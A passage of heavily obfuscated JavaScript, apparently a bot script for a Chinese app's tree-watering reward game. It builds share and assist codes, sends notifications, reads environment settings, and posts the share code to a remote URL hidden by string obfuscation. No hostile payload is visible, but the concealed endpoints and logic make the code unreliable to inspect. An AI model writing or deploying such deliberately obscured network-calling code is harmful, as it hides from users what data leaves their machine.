_0x288a92=-0x29+0x89*0x37+-0x1d46;_0x1b2afc[_0x1b03aa(0x87a,'\x34\x62\x40\x70',0xba6,0xc98,0x720)](_0x288a92,_0x268d45[_0x4818cc(0xc05,'\x52\x59\x64\x49',0xbe9,0xd0f,0x10b2)+'\x74'][_0x2bdf96('\x36\x57\x6b\x69',0x932,0x6f4,0x109f,0x71f)+_0x2bdf96('\x53\x41\x31\x35',0xdbd,0x10a1,0xe51,0x1585)+'\x73\x74'][_0x3df8ef(0xca2,0x18b0,0x1234,0x10a1,'\x63\x66\x74\x31')+'\x68']);_0x288a92++){if(_0x1b2afc[_0x1b03aa(0x90e,'\x41\x43\x59\x76',0x123d,0x15dc,0x137c)](_0x1b2afc[_0x3df8ef(0xb99,0xbfd,0x8fd,0xc80,'\x45\x33\x6b\x40')],_0x1b2afc[_0x433848(0x145b,0x872,'\x50\x21\x6c\x48',0x1641,0x1011)])){let _0x2a88e4=_0x268d45[_0x2bdf96('\x77\x40\x43\x59',0x2ec,0x7c,0xc2b,0xb67)+'\x74'][_0x1b03aa(0xd07,'\x29\x52\x4b\x66',0x43a,0x25a,0x226)+_0x2bdf96('\x6b\x5e\x4e\x4d',0x8fa,0x88b,0xcb0,0x8e)+'\x73\x74'][_0x288a92];if(_0x1b2afc[_0x4818cc(0x12ce,'\x6d\x5e\x6e\x43',0x18f0,0xb78,0xcc9)](_0x2a88e4[_0x1b03aa(0xe64,'\x75\x5d\x54\x4f',0xa47,0xa51,0x4df)+'\x64'],_0x1b2afc[_0x4818cc(0xf87,'\x62\x77\x6a\x54',0xa57,0x10b3,0x11ab)])){if(_0x1b2afc[_0x1b03aa(0x142d,'\x29\x52\x4b\x66',0x1066,0xdd4,0xb7b)](_0x1b2afc[_0x3df8ef(0x16ec,0x1202,0xfdb,0x1537,'\x52\x59\x64\x49')],_0x1b2afc[_0x4818cc(0xfa8,'\x53\x78\x42\x55',0x15a8,0xf69,0x13d4)]))_0xe76dd0[_0x433848(0xcd6,0x24d,'\x6d\x5e\x6e\x43',0xa6a,0x540)](_0x1b2afc[_0x3df8ef(0x1270,0x1311,0x128d,0x1406,'\x62\x77\x6a\x54')]);else{shareCode+=_0x1b2afc[_0x1b03aa(0xc4,'\x57\x73\x5d\x21',0x70c,0xdad,0x72a)](_0x1b2afc[_0x3df8ef(0x157b,0xbf2,0xd11,0xba0,'\x33\x2a\x64\x68')]('\x40',_0x2a88e4[_0x2bdf96('\x33\x2a\x64\x68',0xa47,0x1253,0x1070,0x130a)+_0x3df8ef(0x57a,0xb1a,0x7bb,0x10a5,'\x52\x59\x64\x49')]),'\x2c'),hzstr=_0x1b2afc[_0x4818cc(0x2f5,'\x76\x78\x62\x62',0xa9a,0x62d,0xc10)](_0x1b2afc[_0x433848(0x2bc,0xa99,'\x78\x45\x43\x4d',0x46,0x40a)](_0x1b2afc[_0x3df8ef(0x1066,0xfd7,0x1163,0xa0b,'\x73\x48\x6e\x6e')](_0x1b2afc[_0x4818cc(0x10a1,'\x24\x6e\x5d\x79',0x15b3,0x1538,0xaaf)](_0x1b2afc[_0x4818cc(0x124f,'\x36\x57\x6b\x69',0xd36,0x18d9,0xb1b)],_0x2a88e4[_0x4818cc(0x43f,'\x45\x33\x6b\x40',0x28f,0x69b,0x964)+_0x433848(0x91e,0x53a,'\x53\x78\x42\x55',-0x620,0x200)]),'\x2f'),_0x2a88e4[_0x4818cc(0x11b6,'\x5a\x30\x31\x38',0x1291,0xbc6,0x187c)+_0x4818cc(0x4fe,'\x65\x54\x72\x35',0x763,0x53d,0x3e1)]),_0x1b2afc[_0x433848(0x1143,0x138a,'\x36\x70\x67\x64',0x876,0xe77)]);_0x2a88e4[_0x4818cc(0xb93,'\x47\x38\x4e\x52',0x983,0x14ce,0x5c9)+_0x3df8ef(0x914,0x144e,0x1229,0x9c2,'\x5a\x30\x31\x38')+_0x2bdf96('\x36\x6c\x21\x41',0xa7b,0x11ef,0x72a,0xc14)+_0x2bdf96('\x73\x48\x6e\x6e',0xb3d,0x35f,0x29b,0x265)]&&_0x1b2afc[_0x1b03aa(0xe9e,'\x6e\x70\x4f\x48',0x145e,0xbae,0x1bf1)](_0x2a88e4[_0x3df8ef(0xa14,0xa55,0xaaf,0x10bd,'\x6b\x5e\x4e\x4d')+_0x4818cc(0x298,'\x4f\x40\x44\x71',-0x371,0x11e,-0x586)+_0x4818cc(0xecd,'\x47\x38\x4e\x52',0x806,0x92b,0x117a)+_0x433848(-0x1de,-0x86c,'\x4e\x54\x74\x26',0x88c,0x21)][_0x433848(0xb46,0xa42,'\x31\x5e\x34\x5a',0x5a7,0x789)+'\x68'],0x1a70+-0x1f53+0x4e3*0x1)&&(_0x1b2afc[_0x4818cc(0xe48,'\x6b\x5e\x4e\x4d',0x1229,0x575,0x803)](_0x1b2afc[_0x1b03aa(0x933,'\x4a\x61\x70\x57',0x8e1,0x563,0x4bf)],_0x1b2afc[_0x2bdf96('\x45\x33\x6b\x40',0x9c7,0x5a0,0x9bd,0x92b)])?(_0x21c740[_0x2bdf96('\x53\x34\x6c\x29',0x121,0x3b3,-0x337,0x9c4)](_0x1b2afc[_0x4818cc(0x7af,'\x41\x43\x59\x76',0xdde,0x24c,0xe5e)](_0x1b2afc[_0x2bdf96('\x76\x78\x62\x62',0xc23,0x1582,0x54b,0x81b)],_0x2f1d33)),_0x1b2afc[_0x4818cc(0x136,'\x4f\x4f\x25\x29',-0x4d,0x1c5,0x6dd)](_0x3b2296)):(_0x2a88e4[_0x1b03aa(-0x63d,'\x4f\x4f\x25\x29',0x2b7,0x447,-0x397)+_0x3df8ef(0x16dc,0xe79,0x1166,0x9dd,'\x53\x41\x31\x35')+_0x2bdf96('\x35\x37\x26\x25',0x47f,0x624,-0x1cd,-0x409)+_0x4818cc(0xd8e,'\x35\x37\x26\x25',0xd7f,0xd7d,0xb45)][_0x433848(0x415,0xb9b,'\x33\x2a\x64\x68',0xee1,0xd3d)+'\x63\x68'](_0x36e884=>{function _0x54c9fd(_0x44b1c5,_0x8db2b8,_0x454995,_0x520999,_0x334a6a){return _0x2bdf96(_0x44b1c5,_0x334a6a-0x3b2,_0x454995-0x18e,_0x520999-0x1ce,_0x334a6a-0x1a8);}function _0x245148(_0x15bbea,_0x3219b1,_0x4b75d7,_0x205315,_0xdd4c52){return _0x2bdf96(_0x15bbea,_0x4b75d7-0x293,_0x4b75d7-0x3a,_0x205315-0x15f,_0xdd4c52-0x1);}function _0x2982b6(_0x29645a,_0xe16ca3,_0xd60e5e,_0x22d60d,_0x30f739){return _0x2bdf96(_0xd60e5e,_0x29645a-0x264,_0xd60e5e-0x1b7,_0x22d60d-0xe1,_0x30f739-0x6d);}function _0x2ce7d5(_0x7b1f7d,_0x5cd707,_0x2e7acf,_0x2836a9,_0x49a466){return _0x4818cc(_0x5cd707- -0x99,_0x2e7acf,_0x2e7acf-0x91,_0x2836a9-0xf8,_0x49a466-0x6);}function _0x222778(_0x355dda,_0x37da18,_0x12c0a7,_0x219fae,_0x549200){return _0x3df8ef(_0x355dda-0x6f,_0x37da18-0x148,_0x219fae- -0x1a8,_0x219fae-0x1b9,_0x549200);}const _0x49ecf4={'\x56\x44\x6b\x4f\x65':function(_0x125d97,_0x3c3138){function _0x3c66d4(_0x5e99e9,_0x32b9cb,_0x523337,_0xbdd8c5,_0x569150){return _0x4699(_0x5e99e9-0x301,_0xbdd8c5);}return _0x1b2afc[_0x3c66d4(0xe77,0xe0a,0x12bd,'\x24\x63\x6f\x37',0x1547)](_0x125d97,_0x3c3138);}};if(_0x1b2afc[_0x54c9fd('\x53\x41\x31\x35',0x874,-0x115,0xd82,0x636)](_0x1b2afc[_0x54c9fd('\x53\x28\x21\x51',0x1150,0xa70,0x39f,0xb46)],_0x1b2afc[_0x54c9fd('\x4f\x4f\x25\x29',0xd0a,0x4ab,-0x146,0x529)]))hzstr+=_0x1b2afc[_0x2982b6(0x7d1,0x207,'\x73\x48\x6e\x6e',0xc99,0xd8c)](_0x36e884[_0x2982b6(0x2fc,-0x191,'\x35\x37\x26\x25',0xbb0,-0x1e9)+_0x54c9fd('\x5d\x5d\x4d\x42',0x14ea,0x1b2b,0xf3a,0x1293)],'\x2c');else{if(_0x6b391a[_0x2ce7d5(0x803,0xf6c,'\x76\x78\x62\x62',0xacc,0x919)][_0x245148('\x57\x38\x4f\x70',0x1024,0x7fa,-0xe9,0x1124)+_0x2982b6(0x1001,0x10ec,'\x73\x48\x6e\x6e',0xdd2,0x18a1)+'\x48'])_0x1051ab=_0x1420fd[_0x2982b6(0x8cf,0x1dd,'\x47\x28\x51\x45',0xa9,0x47c)][_0x245148('\x62\x77\x6a\x54',0x16bf,0x1348,0x11d3,0x170f)+_0x245148('\x50\x21\x6c\x48',-0x7e4,0x165,-0x442,0xa05)+'\x48'];delete _0x2a3ef3[_0x222778(0x18f0,0x1895,0x1102,0x11c2,'\x45\x24\x6c\x69')][_0x9be0dd];let _0x2868ae=_0x49ecf4[_0x2982b6(0xba9,0x2db,'\x32\x49\x5b\x49',0xa1c,0xb1a)](_0x4f0719,_0x5b8e91);for(let _0x4204e8 in _0x2868ae)if(!!_0x2868ae[_0x4204e8])_0xb67311[_0x245148('\x5a\x30\x31\x38',0x6f9,0xd72,0x149c,0xb8f)](_0x2868ae[_0x4204e8]);}}),hzstr=hzstr[_0x2bdf96('\x45\x33\x6b\x40',0x662,-0xc0,0x49d,0xd3b)+'\x72'](-0xaa*-0x3a+-0x52f*0x4+0x2*-0x8e4,_0x1b2afc[_0x1b03aa(0xe15,'\x46\x6f\x5e\x6c',0xf4f,0x1894,0x14a1)](hzstr[_0x433848(0x592,-0x59c,'\x47\x38\x4e\x52',-0x626,0x2e2)+'\x68'],-0x1295+0xa46+-0x428*-0x2))));break;}}}else _0x21265d[_0x433848(0xe9b,0xf59,'\x63\x66\x74\x31',0xac7,0xbac)](_0x2055e6[_0x433848(0x10c9,0x819,'\x63\x66\x74\x31',0xfb9,0x1021)]);}}await _0x1b2afc[_0x4818cc(0xeea,'\x62\x77\x6a\x54',0x14c1,0x124b,0xdd5)](treeInfo,-0x613*-0x3+0x171a+-0x2951),await $[_0x3df8ef(0x679,0x898,0x96d,0xb73,'\x76\x25\x48\x64')](-0x3*0xc9d+-0x10c0+0x19*0x257);}}console[_0x3df8ef(0xc19,0x6b0,0xdaa,0x1210,'\x32\x49\x5b\x49')](_0x1b2afc[_0x2bdf96('\x77\x40\x43\x59',-0xfc,-0x997,0x376,-0x9fd)](_0x1b2afc[_0x3df8ef(0x388,0xa51,0x836,0xd40,'\x36\x6c\x21\x41')],shareCode));if(_0x1b2afc[_0x3df8ef(0x16cc,0x1a65,0x12ac,0x1bcc,'\x53\x78\x42\x55')](_0x1b2afc[_0x1b03aa(0x1185,'\x34\x62\x40\x70',0x830,-0x2e,0xad1)](_0x1b2afc[_0x3df8ef(0x13d4,0x1e82,0x16d9,0x1455,'\x31\x5e\x34\x5a')](new Date()[_0x2bdf96('\x36\x70\x67\x64',0x58,-0x33,-0xef,0x5bf)+_0x3df8ef(0x111e,0x700,0xe39,0xb4c,'\x36\x6c\x21\x41')+'\x73'](),-0xe9*-0x26+0x1381*0x1+-0x360f),0x1*-0x129d+0xbb1+0x704),0x1e5*0x10+0x1b11*0x1+-0x115*0x35)){if(_0x1b2afc[_0x433848(-0x89,-0x458,'\x42\x23\x5e\x5b',0x97a,0x350)](_0x1b2afc[_0x2bdf96('\x6d\x5e\x6e\x43',0x215,0x3cb,0x804,0xb11)],_0x1b2afc[_0x2bdf96('\x73\x48\x6e\x6e',0x10c7,0x17c7,0x12d5,0xcb3)])){let _0x138496=_0x3963a7[_0x433848(0x147e,0x1594,'\x6b\x5e\x4e\x4d',0xb1c,0x10b0)](_0x460da5[_0x4818cc(0x8b4,'\x6b\x5e\x4e\x4d',0x1089,0x442,0x102b)]);_0x2b6f90[_0x433848(0x1330,0x1665,'\x36\x70\x67\x64',0x953,0x1088)](_0x1b2afc[_0x433848(0x3e5,0x2a3,'\x34\x62\x40\x70',0x1078,0xad3)](_0x1b2afc[_0x1b03aa(0x13aa,'\x4e\x54\x74\x26',0xb75,0x76b,0x1495)],_0x138496[_0x433848(0x710,-0x226,'\x46\x6f\x5e\x6c',-0x1d2,0x455)])),_0x1b2afc[_0x433848(0x1348,0x1251,'\x5d\x78\x21\x39',0x76e,0xb3c)](_0x175ec1);}else $[_0x2bdf96('\x50\x21\x6c\x48',0x432,0x693,0x3f,0x2bc)+'\x79'](_0x1b2afc[_0x1b03aa(0x821,'\x76\x25\x48\x64',0xc9d,0xd0c,0xd9a)],'',shareCode),$[_0x4818cc(0x1a0,'\x73\x48\x6e\x6e',-0x16d,-0x1e9,-0x252)][_0x433848(0x553,0xacc,'\x53\x41\x31\x35',0x654,0xdd8)+'\x65']&&_0x1b2afc[_0x433848(-0x414,0x346,'\x6e\x70\x4f\x48',0x8e4,0x525)](_0x1b2afc[_0x2bdf96('\x62\x77\x6a\x54',0x407,0xcd8,-0x385,0x158)](_0x1b2afc[_0x4818cc(0x107c,'\x4a\x61\x70\x57',0x7ba,0x92d,0xf1f)]('',isNotify),''),_0x1b2afc[_0x433848(0x1118,0xbfa,'\x46\x6f\x5e\x6c',0x1aa,0x8af)])&&(_0x1b2afc[_0x3df8ef(-0x471,-0x3ea,0x49e,0x723,'\x31\x5e\x34\x5a')](_0x1b2afc[_0x4818cc(0x247,'\x47\x38\x4e\x52',0x346,-0x3ef,-0x41c)],_0x1b2afc[_0x433848(0x3a0,0x8fb,'\x4e\x54\x74\x26',0x101d,0x7d1)])?_0x43157a+=_0x1b2afc[_0x1b03aa(0x695,'\x42\x23\x5e\x5b',0xd9b,0xcd3,0x15a1)](_0x1b2afc[_0x2bdf96('\x45\x33\x6b\x40',0x290,-0x63e,0x95f,0x11)](_0x1b2afc[_0x2bdf96('\x33\x2a\x64\x68',0x748,0xa59,0x1042,0xca8)](_0x1b2afc[_0x4818cc(0xa6b,'\x66\x66\x76\x75',0xd29,0x4b5,0xfec)](_0x1b2afc[_0x433848(0xd08,0x520,'\x78\x56\x67\x4f',0x15b8,0xe10)](_0x1b2afc[_0x1b03aa(0x16de,'\x5a\x30\x31\x38',0xe17,0x1337,0x1605)](_0x1b2afc[_0x1b03aa(0x6b6,'\x31\x5e\x34\x5a',0x310,0x712,0x524)](_0x1b2afc[_0x1b03aa(0x1492,'\x47\x28\x51\x45',0xefb,0xf16,0x91d)](_0x1b2afc[_0x433848(0x776,0x10b1,'\x65\x54\x72\x35',0xb3,0x79a)](_0x1b2afc[_0x3df8ef(0x6d0,0x490,0x8e6,0x2b5,'\x78\x56\x67\x4f')](_0x1b2afc[_0x2bdf96('\x4a\x61\x70\x57',0xd72,0x1495,0x1188,0xb2f)](_0x1b2afc[_0x4818cc(0x475,'\x42\x23\x5e\x5b',0x842,0xb42,0x5c8)](_0x1b2afc[_0x433848(0x869,-0x486,'\x45\x24\x6c\x69',0x4fb,0x58)](_0x1b2afc[_0x4818cc(0xdee,'\x50\x21\x6c\x48',0x4ad,0x13fb,0x16d1)](_0x1b2afc[_0x2bdf96('\x47\x28\x51\x45',0x39,0x164,0x761,-0x334)](_0x1b2afc[_0x433848(0x1008,0x13eb,'\x53\x34\x6c\x29',0xfb9,0xfe4)],_0x24f0a8),_0x1b2afc[_0x433848(0x174,-0xd2,'\x77\x40\x43\x59',0xa39,0x496)]),_0xe39184[_0x2bdf96('\x47\x28\x51\x45',0xb55,0x465,0xa81,0x7ef)+'\x74'][_0x2bdf96('\x41\x43\x59\x76',0x9e,0x5db,0x2a3,0x4a5)+_0x2bdf96('\x46\x6f\x5e\x6c',0x591,0x766,0x337,0x56e)+_0x2bdf96('\x5a\x30\x31\x38',0xc66,0xc0d,0x14d6,0x5d4)+_0x2bdf96('\x36\x6c\x21\x41',0xb09,0xf4a,0x1410,0xea5)][_0x4818cc(0xc76,'\x6b\x5e\x4e\x4d',0x928,0x1434,0xff6)+_0x4818cc(0xc10,'\x41\x43\x59\x76',0x9aa,0xb54,0x339)]),_0x1b2afc[_0x4818cc(0x4da,'\x4e\x54\x74\x26',0x301,0x4f,-0x373)]),_0x434e8b),_0x1b2afc[_0x2bdf96('\x6b\x5e\x4e\x4d',0xf46,0x909,0x165b,0x1130)]),_0x39ead0),_0x1b2afc[_0x4818cc(0x30d,'\x53\x41\x31\x35',0xcc,-0x456,-0x2cf)]),_0x10495c[_0x433848(0x20,0x106,'\x29\x52\x4b\x66',0x687,0x2de)+'\x74'][_0x1b03aa(-0x357,'\x77\x40\x43\x59',0x4f4,-0x1d7,0x672)+_0x433848(0x12ff,0x7dd,'\x4f\x4f\x25\x29',0x40b,0xcca)+_0x2bdf96('\x78\x45\x43\x4d',0x8e2,0x85,0xe10,0x2a2)+_0x1b03aa(0xbfd,'\x66\x66\x76\x75',0x1138,0x13bb,0x920)][_0x4818cc(0x336,'\x45\x24\x6c\x69',0x862,0x3e6,-0x233)+_0x4818cc(0x122,'\x32\x49\x5b\x49',0x289,-0x6e0,-0x720)+_0x4818cc(0x5c4,'\x5a\x30\x31\x38',0x291,-0x2a1,0x731)+_0x4818cc(0x7a0,'\x78\x45\x43\x4d',0x504,-0x10b,0x69a)]),_0xdcba45),_0xcd6513[_0x2bdf96('\x31\x5e\x34\x5a',0xf4b,0xac5,0x816,0x175a)+'\x74'][_0x3df8ef(0x9d9,0x12e8,0xad1,0x11e0,'\x33\x2a\x64\x68')+_0x1b03aa(0xaae,'\x47\x38\x4e\x52',0x581,-0xd2,0xdc4)+_0x433848(0x5d3,0x108b,'\x65\x54\x72\x35',0x6f7,0xa94)+_0x433848(0xb14,0x61e,'\x32\x49\x5b\x49',0x508,0x289)][_0x3df8ef(0xa80,0x22e,0x6e9,0xbc8,'\x36\x70\x67\x64')+_0x3df8ef(0x1098,0x1330,0xd87,0x14ca,'\x53\x34\x6c\x29')]),_0x1b2afc[_0x1b03aa(0x4b,'\x45\x24\x6c\x69',0x25a,0x440,0x718)]),_0x59bd2c[_0x2bdf96('\x65\x54\x72\x35',0x1b,0x6,0x5ab,-0x1a2)+'\x74'][_0x4818cc(0x61b,'\x36\x70\x67\x64',0x118,0x725,0x941)+_0x2bdf96('\x65\x54\x72\x35',0x908,0x298,0x7b5,0x1ce)+'\x73\x65'][_0x1b03aa(0x1580,'\x53\x78\x42\x55',0x11e6,0xee9,0x13b9)+_0x4818cc(0x435,'\x46\x6f\x5e\x6c',0x5e7,0x9ed,0xcba)+'\x63\x65']),'\u6ef4\u6c34'),_0x85218e):notify[_0x2bdf96('\x53\x41\x31\x35',0xc4c,0x120b,0xa79,0xdc5)+_0x2bdf96('\x53\x78\x42\x55',0x789,0xf0c,0x541,0x61f)](_0x1b2afc[_0x1b03aa(0x374,'\x47\x28\x51\x45',0xbb2,0xce0,0xc14)],_0x1b2afc[_0x2bdf96('\x6d\x5e\x6e\x43',0x6f3,0x57d,-0x1a0,0x8c1)](_0x1b2afc[_0x2bdf96('\x5d\x78\x21\x39',0x10ef,0xe44,0x14dd,0xb36)],shareCode)));}if($[_0x4818cc(0x53f,'\x4a\x61\x70\x57',-0x5,-0x1be,-0x27f)][_0x433848(0x16e2,0x741,'\x50\x21\x6c\x48',0x826,0x105f)+'\x65']&&_0x1b2afc[_0x2bdf96('\x78\x45\x43\x4d',0x380,0x604,0x587,0x33)](_0x1b2afc[_0x433848(0xc52,0x2c3,'\x33\x2a\x64\x68',-0x42,0x837)](_0x1b2afc[_0x433848(0x823,0x1cd,'\x33\x2a\x64\x68',0xda7,0x499)]('',isNotify),''),_0x1b2afc[_0x433848(0xccd,0x8d7,'\x75\x5d\x54\x4f',0x10eb,0x872)]))await notify[_0x1b03aa(0xc09,'\x24\x63\x6f\x37',0xecc,0x1071,0x149f)+_0x3df8ef(0x955,0x971,0x7b4,0x64d,'\x6e\x70\x4f\x48')](_0x1b2afc[_0x1b03aa(0x1988,'\x53\x28\x21\x51',0x10c2,0xf64,0x111e)],msgStr);if(!process[_0x2bdf96('\x5d\x5d\x4d\x42',0xb06,0x905,0xa5b,0xcb0)][_0x3df8ef(0x1c53,0x1055,0x1551,0x1b74,'\x66\x66\x76\x75')+_0x4818cc(0x883,'\x77\x40\x43\x59',0xb63,0x1bd,0x1152)+_0x3df8ef(0x10bf,0x144c,0xfdd,0x1309,'\x53\x41\x31\x35')])$[_0x3df8ef(0x1161,0x1397,0xadb,0x106a,'\x52\x7a\x58\x2a')](shareCode,_0x1b2afc[_0x1b03aa(0x912,'\x57\x73\x5d\x21',0x10aa,0xb3e,0x1727)]);else console[_0x1b03aa(0x8cf,'\x6b\x5e\x4e\x4d',0x59e,0x466,-0x7e)](_0x1b2afc[_0x1b03aa(0x1605,'\x6e\x70\x4f\x48',0xcaa,0x53c,0x690)]);_0x1b2afc[_0x4818cc(0x502,'\x32\x49\x5b\x49',0xb11,0x38,-0x92)](new Date(_0x1b2afc[_0x433848(0x707,0x346,'\x52\x7a\x58\x2a',0x62d,0x66f)](getZoneTime,-0x704*0x1+0x2*-0x31b+-0x6a1*-0x2))[_0x3df8ef(0x846,0xd2b,0xb57,0x520,'\x77\x40\x43\x59')+_0x3df8ef(0xa88,0xddb,0x87b,0xe4f,'\x33\x2a\x64\x68')](),0x846+0xcd0+-0x2*0xa85)&&shareCode&&(_0x1b2afc[_0x4818cc(0xac1,'\x42\x23\x5e\x5b',0x9fc,0x10f9,0xad5)](_0x1b2afc[_0x1b03aa(0x1264,'\x6b\x59\x6b\x44',0x140f,0xfa7,0x10eb)],_0x1b2afc[_0x3df8ef(0xfcf,0xcc1,0xffd,0xe81,'\x4a\x61\x70\x57')])?await $[_0x4818cc(0x125d,'\x24\x63\x6f\x37',0x15cb,0x1570,0x1180)][_0x2bdf96('\x52\x59\x64\x49',-0xda,-0x78a,-0x3bf,0x570)]({'\x75\x72\x6c':_0x1b2afc[_0x1b03aa(0x1189,'\x4f\x40\x44\x71',0xea2,0x13b2,0x6fb)],'\x68\x65\x61\x64\x65\x72\x73':{'\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65':_0x1b2afc[_0x3df8ef(0x162b,0x6e8,0xde6,0xf83,'\x78\x45\x43\x4d')]},'\x62\x6f\x64\x79':_0x1b2afc[_0x433848(0x609,0xbd1,'\x47\x28\x51\x45',-0x518,0x372)](_0x1b2afc[_0x3df8ef(0x1105,0x18f1,0xfaf,0xc20,'\x76\x25\x48\x64')](_0x1b2afc[_0x2bdf96('\x34\x62\x40\x70',0x706,0xba9,-0x23e,0xbb3)],shareCode),'\x22\x7d')})[_0x2bdf96('\x41\x43\x59\x76',0xc57,0xfc3,0x4a9,0x8e0)](_0x5036a2=>{function _0x1e335f(_0x4cdc3d,_0x5c0fd9,_0x56d559,_0x4efb9c,_0x3281a3){return _0x2bdf96(_0x56d559,_0x5c0fd9-0x1c3,_0x56d559-0x4e,_0x4efb9c-0x114,_0x3281a3-0x16e);}function _0x1261c2(_0x1b1b69,_0x3d1234,_0xf7119f,_0x2d9e19,_0x2e0f71){return _0x3df8ef(_0x1b1b69-0x43,_0x3d1234-0xfa,_0x1b1b69- -0x2d,_0x2d9e19-0xb1,_0x2e0f71);}function _0x5c1543(_0x5defee,_0x1def04,_0x7fe0e5,_0x76dcf2,_0x2fe789){return _0x3df8ef(_0x5defee-0x2,_0x1def04-0x1ac,_0x7fe0e5- -0x5e4,_0x76dcf2-0xb2,_0x5defee);}function _0x583f2f(_0x32b4e3,_0x3553f5,_0x4a8e35,_0x21c91d,_0x2fee39){return _0x3df8ef(_0x32b4e3-0x17f,_0x3553f5-0x163,_0x2fee39- -0x334,_0x21c91d-0xef,_0x4a8e35);}function _0x291413(_0x30ff39,_0x2b185a,_0x319ea0,_0x5e2e8e,_0xcdec20){return _0x4818cc(_0x30ff39- -0x2b1,_0xcdec20,_0x319ea0-0x179,_0x5e2e8e-0x1b3,_0xcdec20-0x186);}_0x1b2afc[_0x1261c2(0x1027,0x1531,0xc56,0xb3b,'\x4f\x4f\x25\x29')](_0x1b2afc[_0x583f2f(0x13df,0x14b0,'\x32\x49\x5b\x49',0xceb,0x1026)],_0x1b2afc[_0x1261c2(0xf9c,0x16f7,0xc04,0xfb7,'\x24\x63\x6f\x37')])?console[_0x5c1543('\x4f\x40\x44\x71',0x959,0x99e,0xdaa,0x10a3)](_0x1b2afc[_0x1261c2(0x1166,0xe17,0x1550,0x171e,'\x65\x54\x72\x35')](_0x1b2afc[_0x1261c2(0xcb0,0x12d0,0xe78,0xca2,'\x4e\x54\x74\x26')],_0x5036a2[_0x291413(0xec0,0x136b,0xb2e,0x5e3,'\x29\x52\x4b\x66')])):(_0x246030=_0x3b03ba[_0x1e335f(0x542,0x36c,'\x46\x6f\x5e\x6c',0xa93,0x7a0)+'\x74'][_0x1261c2(0xbbe,0x9fc,0x10b9,0x7ac,'\x73\x48\x6e\x6e')+_0x583f2f(0xaa8,0xa6a,'\x4a\x61\x70\x57',-0x16d,0x417)][_0x1261c2(0xcc1,0x54c,0x548,0x10aa,'\x29\x52\x4b\x66')+_0x291413(0x46,0x41b,0x1bc,-0x224,'\x6b\x5e\x4e\x4d')+'\x66\x6f'][_0x583f2f(0x41b,0x793,'\x6b\x5e\x4e\x4d',0x6b7,0xa24)+_0x1261c2(0x911,0x3d9,0x262,0x1181,'\x6b\x59\x6b\x44')],_0x5d638d[_0x1e335f(0xbbe,0x718,'\x42\x23\x5e\x5b',0x4db,0x961)](_0x1b2afc[_0x1e335f(0xb0b,0x105a,'\x53\x28\x21\x51',0x10b9,0x19b6)](_0x1b2afc[_0x1261c2(0x14d3,0x1278,0x17f4,0x1946,'\x73\x48\x6e\x6e')](_0x1b2afc[_0x583f2f(0x12f0,0x519,'\x31\x5e\x34\x5a',0x5cb,0xc2c)],_0x2f2d0b),_0x1b2afc[_0x1e335f(0xabe,0x338,'\x42\x23\x5e\x5b',-0x193,0x536)])));}):_0xc3d0c9=_0x261635[_0x433848(0x1c2,0xb43,'\x36\x6c\x21\x41',0x1364,0xa84)]);})()[_0x1e1b73(0x8bb,-0x1c7,'\x78\x56\x67\x4f',0x3ef,-0xb9)](async _0xae515a=>{function _0x4ac667(_0x39d7de,_0x51524b,_0x4337c0,_0x4efd49,_0x363ae8){return _0xdd0bc1(_0x51524b-0x47e,_0x51524b-0xa4,_0x4337c0,_0x4efd49-0xfd,_0x363ae8-0x8c);}function _0x428297(_0x496597,_0x1cd8dc,_0x45ac51,_0x3393d0,_0x102b71){return _0xdd0bc1(_0x3393d0-0x3af,_0x1cd8dc-0x17e,_0x496597,_0x3393d0-0xc4,_0x102b71-0x120);}function _0x50bd3f(_0x24d29b,_0x1c281d,_0x11efb1,_0x2d5c3e,_0x3ee8cd){return _0x43f741(_0x2d5c3e-0x1ec,_0x1c281d-0x1c8,_0x1c281d,_0x2d5c3e-0x120,_0x3ee8cd-0x171);}function _0x17d5f8(_0x5877f0,_0x59d536,_0x4d6c08,_0x4ada2f,_0x3286a1){return _0x43f741(_0x3286a1-0x7e,_0x59d536-0x1c7,_0x59d536,_0x4ada2f-0x13e,_0x3286a1-0xba);}const _0x35de07={'\x58\x45\x4b\x4c\x79':function(_0x6f9b49,_0x2408c1){return _0x6f9b49+_0x2408c1;},'\x6d\x78\x52\x51\x53':_0x50bd3f(0x142a,'\x33\x2a\x64\x68',0x15d1,0xff1,0x14e1)+_0x428297('\x78\x56\x67\x4f',0x938,0xcd8,0x542,-0x3ad),'\x63\x51\x72\x61\x42':function(_0x1c63ee,_0x4aa6ce){return _0x1c63ee==_0x4aa6ce;},'\x77\x47\x69\x4b\x41':_0x428297('\x41\x43\x59\x76',0x64d,-0x1cb,0x64e,0x1c7),'\x57\x6c\x67\x59\x55':function(_0x260efb,_0x2a7574){return _0x260efb!==_0x2a7574;},'\x49\x67\x64\x57\x56':_0x50bd3f(0xf79,'\x5d\x78\x21\x39',0x119a,0xda0,0x1057),'\x6f\x69\x6c\x51\x4e':_0x17d5f8(0x65b,'\x4a\x61\x70\x57',0x5a8,0x486,0x327)+'\u56ed'};function _0x14c636(_0x2b79e5,_0x2f5b83,_0x6bb537,_0x758f2f,_0x47ae30){return _0x1e1b73(_0x2b79e5-0x162,_0x2f5b83-0x194,_0x2f5b83,_0x47ae30- -0x2ce,_0x47ae30-0x3b);}console[_0x4ac667(0xcf9,0x13ce,'\x52\x7a\x58\x2a',0x158b,0x15c8)]('',_0x35de07[_0x17d5f8(0x7b8,'\x57\x38\x4f\x70',0xca9,0x1821,0x1014)](_0x35de07[_0x428297('\x34\x62\x40\x70',0x14de,0x1e8d,0x15fb,0x1dbf)](_0x35de07[_0x428297('\x5d\x5d\x4d\x42',0x1ad1,0xab0,0x1385,0xea9)],_0xae515a),'\x21'),''),$[_0x428297('\x34\x62\x40\x70',0x1d56,0x1532,0x1413,0x1225)][_0x4ac667(0xb31,0x102f,'\x6d\x57\x5a\x29',0x9a6,0x11bc)+'\x65']&&_0x35de07[_0x4ac667(0x183a,0x1599,'\x29\x52\x4b\x66',0x1508,0x17fb)](_0x35de07[_0x17d5f8(0x1597,'\x53\x34\x6c\x29',0x13df,0x9ee,0x121e)](_0x35de07[_0x428297('\x31\x5e\x34\x5a',0x1397,0x1125,0x1572,0x1dd8)]('',isNotify),''),_0x35de07[_0x14c636(-0x3c7,'\x42\x23\x5e\x5b',-0x106,0x7d8,0x2b1)])&&(_0x35de07[_0x428297('\x45\x24\x6c\x69',0x5c5,0x353,0x5f9,0x8ca)](_0x35de07[_0x4ac667(0x1e35,0x15b1,'\x4f\x40\x44\x71',0x134a,0x1e2e)],_0x35de07[_0x4ac667(0x705,0xa20,'\x47\x28\x51\x45',0x499,0x232)])?(_0x11e33a=_0x323be2[_0x17d5f8(